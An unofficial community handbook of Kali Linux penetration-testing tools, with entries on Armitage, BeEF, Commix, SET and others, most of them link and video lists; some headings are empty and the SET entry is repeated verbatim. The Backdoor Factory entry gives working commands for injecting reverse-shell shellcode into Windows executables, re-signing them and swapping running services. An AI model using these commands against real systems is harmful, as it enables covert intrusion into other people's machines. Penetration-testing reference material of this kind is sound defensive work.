Table of Contents

CDPSnarf	1.6.8
cisco-torch	1.6.9
Cookie Cadger	1.6.10
copy-router-config	1.6.11
DMitry	1.6.12
dnmap	1.6.13
dnsenum	1.6.14
dnsmap	1.6.15
DNSRecon	1.6.16
dnstracer	1.6.17
dnswalk	1.6.18
DotDotPwn	1.6.19
enum4linux	1.6.20
enumIAX	1.6.21
exploitdb	1.6.22
Fierce	1.6.23
Firewalk	1.6.24
fragroute	1.6.25
fragrouter	1.6.26
Ghost Phisher	1.6.27
GoLismero	1.6.28
goofile	1.6.29
hping3	1.6.30
InTrace	1.6.31
iSMTP	1.6.32
lbd	1.6.33
Maltego Teeth	1.6.34
masscan	1.6.35
Metagoofil	1.6.36
Miranda	1.6.37
Nmap	1.6.38
ntop	1.6.39
p0f	1.6.40

Kali Linux

Note:

This book is a complete unofficial documentation of all the tools in Kali Linux. The author(s) are not held liable for any mistakes done by the readers.

To see the official documentation click https://tools.kali.org/tools-listing.

The major sections of the book are:

Introduction

Introduction

Kali Linux is a penetration testing and security auditing Linux distribution. After its first release (**Kali 1.0**) in **March 2013**, Kali Linux has quickly become every hacker's favourite OS for pentesting. Replacing its predecessor Backtrack, Kali incorporated several new features and looks quite promising. It is available for i386 and amd64 architectures and has the same **Minimum Hardware Requirements** as Backtrack: *1 GHz CPU, 8 GB of Hard Disk Space, 300 MB RAM, and DVD writer (For live DVD creation). It also has the ability to boot with a pen drive as Kali is Live Linux Distribution.*

Kali 2.0 was released on **11th August, 2015**. It was a huge success and made the life of pentesters so easy. The enhanced GUI and more tools in version 2.0 played a major role behind its success. This time Kali can also run on Raspberry Pi's and other embedded devices, making the creation of intercepting devices and rouge WiFi so easy.

Even though there are a lot of tutorials on how to use different hacking tools on the Internet, a person could not find all the tutorials in a single place. This open source book on Kali Linux is mainly for the **complete documentation and tutorials** of all the tools present in Kali linux. It also contains extra Github repository links, which are used for hacking and digital forensics and tutorials on how to use them.

This book is an initiative of the community **"Hack with Github"**.

Contact:

- Facebook (https://www.facebook.com/HackWithGithub/)
- Twitter (https://twitter.com/HackwithGithub)
- LinkedIn (https://www.linkedin.com/groups/7042437)

You could download the latest version of Kali at https://www.kali.org/downloads/.

Contributors

Chandrapal

Security Enthusiast. Founder of "Hack with Github" - Community to share open source hacking tools, tutorials and books. Currently studying Bachelors Degree in Computer Science at Christ University, Bangalore, India. Also an active member of Null - the Open Security Community. Taken presentations on security related tools like Netcat and Tor. Loves electronics and visiting new places.

Email: bnchandrapal@protonmail.com

Structure of the Book

The book is a documentation of all the tools present in Kali Linux. The tools have been grouped together into separate chapters on the basis of their usage. This book also contains tools which are not included in Kali. Tutorials are added at the end to make this book more hacker-friendly.

Some tools have been repeated in different sections because of their capability to be used for several purposes. Articles present in each chapter will contain links, tutorials and documentation of the given tool as per the chapter requirement.

For example, Burp Suite is present in Password Attacks, Web Application and Sniffing & Spoofing. This is because Burp Suite can be used for all the above said purpose. So the article 'Burp Suite' in Web Application will consist of the information required for using it to hack a Web Application.

Complete documentation of important tools have been added to this book and are linked to their respective articles.

Topics Not Covered

Kali Linux is a large and complex operating system. This book doesn’t cover everything relevant to complex Linux topics like kernels, shell programming, etc but instead focuses on the tools present in it.

This documentation may contain links to famous exploits / hacking tools which are rated `malicious` by antivirus vendors. The links present in this are completely verified and are virus-free.

Acknowledgments

Useful Links

Armitage

Armitage is a graphical cyber attack management tool for the Metasploit Project that visualizes targets and recommends exploits. It is a free and open source network security tool notable for its contributions to red team collaboration allowing for, shared sessions, data, and communication through a single Metasploit instance. Armitage is written and supported by Raphael Mudge.

History

Armitage is a GUI front-end for the Metasploit Framework developed by Raphael Mudge with the goal of helping security professionals better understand hacking and to help them realize the power of Metasploit. It was originally made for Cyber Defense Exercises, but has since expanded its user base to other penetration testers.

Features

Armitage is a scriptable red team collaboration tool built on top of the Metasploit Framework. Through Armitage, a user may launch scans and exploits, get exploit recommendations, and use the advanced features of the Metasploit Framework's meterpreter.

External Links:

- Official Website
- Official Documentation
- Cobalt Strike Blog
- Offensive Security
- Wikipedia

Useful Videos:

- Beginner - How to use Armitage (14:02)
- Fix Armitage in Kali Linux 2.x (5:00)
- Hak5 - Fast and Easy Hacking with Armitage for Metasploit (43:30)
- Hak5 - Armitage and Cobalt Strike (10:35)
- Post Exploitation options (12:14)
- Using Armitage to Exploit Multiple Machines in Kali Linux (4:07)

- Using Armitage with Cobalt Strike (36:45)
- Using Hail Mary option to automate attacks (3:47)
- Using Metasploit + Armitage + msfconsole (1:14:08)

The Backdoor Factory (BDF)

For security professionals and researchers only.

The goal of BDF is to patch executable binaries with user desired shellcode and continue normal execution of the prepatched state.

Contact the developer on:

```
IRC:
irc.freenode.net #BDFactory

Twitter:
@midnite_runr
```

Under a BSD 3 Clause License

See the wiki: https://github.com/secretsquirrel/the-backdoor-factory/

Dependences

To use OnionDuke you MUST be on an intel machine because aPLib has no support for the ARM chipset yet.

Capstone engine can be installed from PyPi with:

```
sudo pip install capstone
```

Pefile, most recent:

```
https://code.google.com/p/pefile/
```

osslsigncode (included in repo):

```
http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/
```

Kali Install:

```
  apt-get update
  apt-get install backdoor-factory
```

Other *NIX/MAC INSTALL:

```
./install.sh
```

This will install Capstone with 3.01 pip to install pefile.

UPDATE:

```
./update.sh
```

Supporting:

```
Windows PE x86/x64,ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32),
and Mach-O x86/x64 and those formats in FAT files

Packed Files: PE UPX x86/x64

Experimental: OpenBSD x32
```

Some executables have built in protections, as such this will not work on all binaries. It is advisable that you test target binaries before deploying them to clients or using them in exercises. I'm on the verge of bypassing NSIS, so bypassing these checks will be included in the future.

```
Many thanks to Ryan O'Neill --ryan 'at' codeslum <d ot> org--
Without him, I would still be trying to do stupid things
with the elf format.
Also thanks to Silvio Cesare with his 1998 paper
(http://vxheaven.org/lib/vsc01.html) which these ELF patching
techniques are based on.
```

Recently tested on many binaries.

./backdoor.py -h Usage: backdoor.py [options]

Features:

PE Files

```
Can find all codecaves in an EXE/DLL.
By default, clears the pointer to the PE certificate table, thereby unsigning a binary
.
Can inject shellcode into code caves or into a new section.
Can find if a PE binary needs to run with elevated privileges.
When selecting code caves, you can use the following commands:
  -Jump (j), for code cave jumping
  -Single (s), for patching all your shellcode into one cave
  -Append (a), for creating a code cave
  -Ignore (i or q), nevermind, ignore this binary
Can ignore DLLs
Import Table Patching
AutoPatching (-m automtic)
Onionduke (-m onionduke)
```

ELF Files

```
Extends 1000 bytes (in bytes) to the TEXT SEGMENT and injects shellcode into that sect
ion of code.
```

Mach-O Files

```
Pre-Text Section patching and signature removal
```

Overall

```
The user can :
  -Provide custom shellcode.
  -Patch a directory of executables/dlls.
  -Select x32 or x64 binaries to patch only.
  -Include BDF is other python projects see pebin.py and elfbin.py
```

Sample Usage:

Patch an exe/dll using an existing code cave:

```
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp

[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths:  (402,)
################################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
################################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End:
0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End:
0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End:
0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End:
0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End:
0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End:
0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End:
0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End:
0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End:
0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End:
 0x5b468; Cave Size: 559
************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
```

Patch an exe/dll by adding a code section:

```
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
```

Patch a directory of exes:

```
./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a
...output too long for README...
```

User supplied shellcode:

```
msfpayload windows/exec CMD='calc.exe' R > calc.bin
./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin
This will pop calc.exe on a target windows workstation. So 1337. Much pwn. Wow.
```

PEcodeSigning

BDF can sign PE files if you have a codesigning cert. It uses osslsigncode. Put your signing cert and private key in the certs/ directory. Prep your certs using openssl commands from this blog post: http://secureallthethings.blogspot.com/2015/12/add-pe-code-signing-to-backdoor-factory.html

Put your private key password in a file (gasp) as so (exactly as so):

```
echo -n yourpassword > certs/passFile.txt
```

Name your certs EXACTLY as follows:

```
signingCert.cer => certs/signingCert.cer
signingPrivateKey.pem => certs/signingPrivateKey.pem
```

Your certs/ directory should look excatly as so:

```
certs
├── passFile.txt
├── signingPrivateKey.pem
└── signingCert.cer
```

Enable PE Code Signing with the -C flag as so:

```
 ./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m aut
omatic -C
```

On successful run you should see this line in BDF output:

```
[*] Code Signing Succeeded
```

Hunt and backdoor: Injector | Windows Only

```
The injector module will look for target executables to backdoor on disk.  It will che
ck to see if you have identified the target as a service, check to see if the process
is running, kill the process and/or service, inject the executable with the shellcode,
 save the original file to either file.exe.old or another suffix of choice, and attemp
t to restart the process or service.
Edit the python dictionary "list_of_targets" in the 'injector' module for targets of y
our choosing.

./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow
```

External Links & Videos

- Black Hat USA 2015 [Video] [Paper]
- Shmoocon 2015 [Video] [Paper]
- DerbyCon 2014 [Video]
- DerbyCon 2013 [Video] [Injection Module Demo] [Slides]

- Kali Official Documentation
- Github Repository

BeEF

BeEF is short for **The Browser Exploitation Framework**. It is a penetration testing tool that focuses on the web browser.

Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.

Installation

To see installation notes for different platforms click here.

Usage

To get started, simply execute beef and follow the instructions:

```
$ ./beef
```

On windows use

```
$ ruby beef
```

External Links

- Official Website
- Official Documentation
- Official Kali Documentation
- To report Bugs
- To report Security Bugs (Email)
- IRC
- Twitter: @beefproject
- Github Repository

Useful Videos

- Official Youtube channel
  - BeEF iNotes modules (4:30)
  - Kiwicon 2014 - Hooked-browser mesh-networks with WebRTC (9:04)
  - BeEF IRC NAT Pinning (1:34)
  - Shake Hooves With BeEF OWASP AppSec APAC 2012 (5:11)
  - BeEF RESTful API Demo (4:16)
  - Demonstrating BeEF's Metasploit Plugin (3:34)
  - BeEF tunneling proxy (for fun and profit) (11:51)
  - Jboss 6.0.0M1 JMX Deploy Exploit: the BeEF way... (6:18)
  - BeEF's New Event Logger (the artist formally known as...) (3:04)
  - iPhone Skype Call via BeEF (1:22)
- Getting started in BeEF Framework (Kali Linux 2.0) (13:11)
- BeEF - Browser Exploitation Framework (Kali Linux) (10:43)
- BeEF + SE-Toolkit - Phishing + Exploiting (9:06)
- How To Control PC With BeEF - BeEF (9:30)
- How To Use BeEF + Metasploit (12:01)
- Step by Step Using BeEF with Metasploit in Kali Linux 2014 (19:42)
- Take over a computer with just a website link (BEEF XSS Framework) (13:48)

cisco-auditing-tool

cisco-global-exploiter

cisco-ocs

Compact mass scanner for Cisco routers with default telnet/enable passwords.

Author:

Useful Links:

- Source Code
- Scripts by Author
- Official Kali Documentation

Videos:

- How to use cisco-ocs for scaning cisco devices in kali linux

cisco-torch

Commix

Commix (short for [comm]and [i]njection e[x]ploiter) has a simple environment and it can be used, from web developers, penetration testers or even security researchers to test web applications with the view to find bugs, errors or vulnerabilities related to command injection attacks. By using this tool, it is very easy to find and exploit a command injection vulnerability in a certain vulnerable parameter or string. Commix is written in Python programming language.

Usage

- To start:

  ```
  python Commix.py
  ```

- Help:

  ```
  python Commix.py -h
  ```

External Links:

- Official Repository
- Official Documentation
- Official Kali Documentation
- Kali Commix Repo
- Kali Commix Package
- InfosecInstitute.com Article

Useful Videos:

- Official Youtube Channel
  - Exploiting bWAPP command injection flaws (normal & blind) via commix.
  - Exploiting cookie-based command injection flaws via commix.
  - Exploiting DVWA (1.0.8) command injection flaws, via commix.
  - Exploiting 'Persistence' blind command injection flaw via commix.
  - Exploiting referer-based command injection flaws via commix.
  - Exploiting shellshock command injection flaws via commix.
  - Exploiting user-agent-based command injection flaws via commix.
  - Rack cookies and commands injection via commix

    - Upload a PHP shell (i.e. Metasploit PHP Meterpreter) on target host via commix.
    - Upload a Weevely PHP web shell on target host via commix.
- Commix - Command Injection to File Upload
- Commix - Automated All-in-One OS Command Injection and Exploitation Tool
- Commix - Command Injection to Meterpreter Shell
- Commix - Command Injection to File Upload

crackle

jboss-autopwn

Linux Exploit Suggester

Maltego Teeth

SET : Social-Engineer Toolkit

The Social-Engineer Toolkit is an open-source penetration testing framework designed for Social-Engineering. SET has a number of custom attack vectors that allow you to make a believable attack in a fraction of the time.

The Social Engineer Toolkit incorporates many useful social-engineering attacks all in one interface. The main purpose of SET is to automate and improve on many of the social-engineering attacks out there. It can automatically generate exploit-hiding web pages or email messages, and can use Metasploit payloads to, for example, connect back with a shell once the page is opened.

External Links:

- Official Repository
- Official Homepage
- Official Kali Documentation
- Kali SET Repo
- Trusted Sec

Tutorials:

- Beginning with the Social Engineer Toolkit
- Clone website to gain victim's passwords
- Create Malicious Weblink to Sniff Victim's Keystrokes
- Create Malicious Weblink, Install Virus, Capture Forensic Images
- How to Use "SET", the Social-Engineer Toolkit
- Metasploit Unleashed: SET from archive.org
- Phishing and Social Engineering Techniques - Part 1, 2 & 3
- Review: Social Engineering Toolkit
- Using the Social Engineering Toolkit In Kali Linux
- 15 Steps To Hacking Windows Using Social Engineering Toolkit And Backtrack 5

Useful Videos:

- BackBox - Social Engineering Toolkit Website cloning
- Create a Payload and Listner-SEToolkit
- Exploitation with Social Engineering Toolkit SET
- Facebook Social Engineering Attack on Kali Linux

- Facebook hacking using kalilinux 2.0 social engineering toolkit
- Fake Email - Social Engineering toolkit
- HTA Attack The Social Engineer Toolkit SET v6.5 on KALI LINUX
- Hacking With Kali & Social Engineering Toolkit
- Hack Windows7 PC using Powershell Attack Vector in Social Engineering Toolkit (Bypassing Antivirus)
- KALI Linux Social Engineering Toolkit Tutorial: Credential Harvester | packtpub.com
- Kali Linux Social Engineering Toolkit TCP Reverse Meterpreter
- Kali Linux SET Social Engineering Toolkit Basic Hack
- Metasploit / Social-Engineer Toolkit
- Power Shell Attack Vectors-SEToolkit
- SET Credential Harvester Attack
- Social Engineering Toolkit SET Facebook Hacking
- Social engineering toolkit-website attack vectors
- Social Engineer Toolkit SET Easy TROJAN
- Spear-Phishing With the Social Engineering Toolkit Tutorial
- Using Social Engineering Toolkit
- Using Social Engineering Toolkit (SET) over the Internet.

ShellNoob

sqlmap

THC-IPV6

Yersinia

SET : Social-Engineer Toolkit

The Social-Engineer Toolkit is an open-source penetration testing framework designed for Social-Engineering. SET has a number of custom attack vectors that allow you to make a believable attack in a fraction of the time.

The Social Engineer Toolkit incorporates many useful social-engineering attacks all in one interface. The main purpose of SET is to automate and improve on many of the social-engineering attacks out there. It can automatically generate exploit-hiding web pages or email messages, and can use Metasploit payloads to, for example, connect back with a shell once the page is opened.

External Links:

- Official Repository
- Official Homepage
- Official Kali Documentation
- Kali SET Repo
- Trusted Sec

Tutorials:

- Beginning with the Social Engineer Toolkit
- Clone website to gain victim's passwords
- Create Malicious Weblink to Sniff Victim's Keystrokes
- Create Malicious Weblink, Install Virus, Capture Forensic Images
- How to Use "SET", the Social-Engineer Toolkit
- Metasploit Unleashed: SET from archive.org
- Phishing and Social Engineering Techniques - Part 1, 2 & 3
- Review: Social Engineering Toolkit
- Using the Social Engineering Toolkit In Kali Linux
- 15 Steps To Hacking Windows Using Social Engineering Toolkit And Backtrack 5

Useful Videos:

- BackBox - Social Engineering Toolkit Website cloning
- Create a Payload and Listner-SEToolkit
- Exploitation with Social Engineering Toolkit SET
- Facebook Social Engineering Attack on Kali Linux

- Facebook hacking using kalilinux 2.0 social engineering toolkit
- Fake Email - Social Engineering toolkit
- HTA Attack The Social Engineer Toolkit SET v6.5 on KALI LINUX
- Hacking With Kali & Social Engineering Toolkit
- Hack Windows7 PC using Powershell Attack Vector in Social Engineering Toolkit (Bypassing Antivirus)
- KALI Linux Social Engineering Toolkit Tutorial: Credential Harvester | packtpub.com
- Kali Linux Social Engineering Toolkit TCP Reverse Meterpreter
- Kali Linux SET Social Engineering Toolkit Basic Hack
- Metasploit / Social-Engineer Toolkit
- Power Shell Attack Vectors-SEToolkit
- SET Credential Harvester Attack
- Social Engineering Toolkit SET Facebook Hacking
- Social engineering toolkit-website attack vectors
- Social Engineer Toolkit SET Easy TROJAN
- Spear-Phishing With the Social Engineering Toolkit Tutorial
- Using Social Engineering Toolkit
- Using Social Engineering Toolkit (SET) over the Internet.